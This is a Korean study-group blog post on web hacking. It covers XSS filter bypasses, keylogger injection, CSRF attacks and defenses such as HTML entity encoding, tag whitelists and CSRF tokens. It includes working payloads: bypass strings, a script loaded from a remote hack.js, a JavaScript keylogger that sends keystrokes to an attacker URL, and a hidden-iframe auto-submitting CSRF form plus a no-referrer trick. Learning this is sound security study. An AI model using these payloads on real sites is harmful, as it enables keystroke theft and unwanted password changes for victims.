본문 바로가기

해킹/Web Hacking

[8주차] 해킹 스터디 정리 - XSS Bypass, 대응 방안, CSRF 공격

- XSS Bypass (우회 방법)

> Anti XSS Bypass

-> Black List 필터링

--> WAF의 기본 속성 (Web Application Firewall)

 

ex ) <script> 만 들어가면 연결이 안되게

<script>alert(1) 까지 쓰면 안된다거나

 

[1] Client Side 검증 우회

-> Burp Suite (프록시 툴) 이용하면 됨 

javascript

 

<script&lt; &gt;

 

[2] Script Load

", ', alert function

 

<script src=http://normaltic.com/hack.js></script>

글자 제한이 있을 때 미리 짜놓은 스크립트를 준비해놓고 src로 주입가능

 

[3]대소문자 혼용

<script> -> <ScRiPt>

 

[4] 필터링 되는 문자

<script> -> <scrscriptipt>

실무에서 많이 볼 수 있는 우회 기법

 

[5] EventHandler

이벤트 핸들러에는 javascript를 넣을 수 있는데, 여기에 주입하고자 하는 악성

스크립트를 넣는다.

<img src=x onerror="alert(1)">

onactivate

onload

onmouseover

 

<svg> <audio src="http://~~" onplay="" autoplay>

등등등

Black List 기반의 필터링이기 때문에 수많은 이벤트 핸들러 중 뚫릴 만한 여지가 있다.

 

참고할만한 좋은 사이트 : 이벤트 핸들러의 종류들이 나열되어 있음

https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

 

Cross-Site Scripting (XSS) Cheat Sheet - 2023 Edition | Web Security Academy

Interactive cross-site scripting (XSS) cheat sheet for 2023, brought to you by PortSwigger. Actively maintained, and regularly updated with new vectors.

portswigger.net

 

** XSS 대응 방안

SQL Injection 처럼 근본적인 대응 방법이 존재

-> HTML 특수문자들을 HTML Entity 표현 방식으로 전환하면 됨

 

< &lt;

> &gt;

임을 이용해서

<script>

&lt;script&gt;

 

근데 모든 개발자들이 모든 파라미터에 이 치환필터를 넣지를 못함

 

 

xss 7 의 본 취약점

-> 회원가입할 때 normalxss<script>alert(1);</script>

 

그런데 이건 어떻게 공격으로 연결시킬까?

POST 방식을 GET방식으로 바꿔서 링크를 딴다. 그 후, 살포해서 공격 가능

 

keylogger 삽입

 

KeyLogger 코드

-- XSS Keylogger
var keys = "";
var hackUrl = '공격서버 url'

document.onkeypress = function(e) {
    get = window.event?event:e;
  key = get.keyCode?get.keyCode:get.charCode;
  key = String.fromCharCode(key);
  keys+=key;
}

window.setInterval(function(){
if(keys != '') {
  new Image().src = hackUrl + keys;
  keys = '';
}
}, 200);

 

이 코드를 예를 들어 attack.js라는 파일로 만들어서

회원가입 시에 스크립트를 삽입할 수 있음

 

그러나 삽입한 키로거가 유효한 영역은 삽입했던 그 페이지에 한해서이다.

따라서 다른 게시판으로 넘어가거나 페이지를 이동하게 되면 keylogger가 사라진다.

 

그럴때는 페이지 소스보기를 이용한

피싱 사이트를 만들면 되는데,

그리고 location.href 를 이용하는데,

html의 base를 이용하면 css 이슈가 생기지 않는다.

 

<base src="피싱하려는 페이지의 url">

 

or

HTML OverWriting

XSS에는 HTML코드도 주입할 수 있음

 

결론 : *** 대응 방안

HTML -> HTML Entity로 치환한다!

 

*** 그러나 Entity가 안되는 곳

HTML Editor는 안된다

Step 1. HTML 특수문자를 -> HTML Entity로 치환한다!

<img src = >

&lt;img src= &gt;

 

Step 2. White List 기반으로 살려줄 (허용해줄) 태그를 살려준다.

img, p, a,

<img src= >

 

Step 3. Black List 기반으로 event Handler를 필터링

onerror, onload

<img src= >

 


* CSRF (Cross Site Request Forgery)

> 의도하지 않았던 요청을 서버에게 보내게 만드는 공격

** 피해자의 세션을 활용.

 

modMember.php?newpass=1234

따라서 피해자가 로그인 되어있는 상태여야함

따라서 다음과 같은 곳에서 효과적임

ex ) 게시판, 메일함.

 

* 어디서 발생할까?

모든 요청에서 발생. 그러나 모든 요청이 위험한 건 아님

---> 민감한 요청 (여기서 이 공격이 위험할지에 대한 판단이 필요)

ex ) 비밀번호 변경, 이메일주소 변경.

관리자 계정 등록 등....

 


[1] GET METHOD

 

[2] POST Method

 

CSRF VS XSS

> 서로 완전 다른 공격

 

CSRF

-> 피해자가 자신의 의도와는 다르게, 자신도 모르게 서버로

임의의 요청을 하게 만드는 공격

 

-> XSS 취약점을 활용.

> 같은 도메인 내에서 찾아야 CORS 보안 정책에 위배되지 않음

 

이 form 태그를 삽입하는 것도 일종의 XSS 공격

<form method="POST">

   <input>

 

</form>

 

POST 방식일 때 CSRF 공격하는 기본 코드

Hello, world!
Click This!!!

<form method="POST" action="copy URL">
<input type="hidden" name="" value="bokyu@test.com">
<input type="submit" value="Click Me!">

</form>

or

아래 링크좀 확인해주세요....
<a href=# onclick="">이상한 주소</a>

 

좀 더 세련되게 CSRF 공격하는 법 (XSS 활용)

Hello, world!

//폭/너비/테두리 0의 iframe 생성하는 스킬, 그리고 브라우저마다 점으로 찍히는 경우도 있어서
//style=display none 까지 확실하게 추가
<iframe width="0" height="0" border="0" name="stealthframe" id="stealthframe"
style="display: none;">
</iframe>

//form태그에 target 속성을 줘서 iframe을 추가할 수 있음
<form method="POST" action="copy URL" target="stealthframe">
<input type="hidden" name="" value="bokyu@test.com">
<input type="submit" value="Click Me!">
</form>
<script>
document.forms[0].submit();
</script>

 

게시글을 보기만해도 비밀번호 변경 요청을 보낼 수 있음

[3] Referer Check?

Referer : 이 요청이 어디에서 한 건지.

 

비밀번호 변경 요청

if referer 헤더가 있으면

-> 검사 시작.

->

else referer 헤더가 없으면

-> 그냥 고!

> 개발자들은 이 웹이 범용적으로 쓰이길 바라기 때문에

 

 

meta 태그를 쓰면 referrer를 보내지 않음

<meta name="referrer" content="no-referrer">

 

[4] CSRF Token

> 오로지 CSRF를 막기 위해서 만들었음

 

CSRF Token 생성 -> 세션.

 

<iframe src=>

 

<script>

 

</script>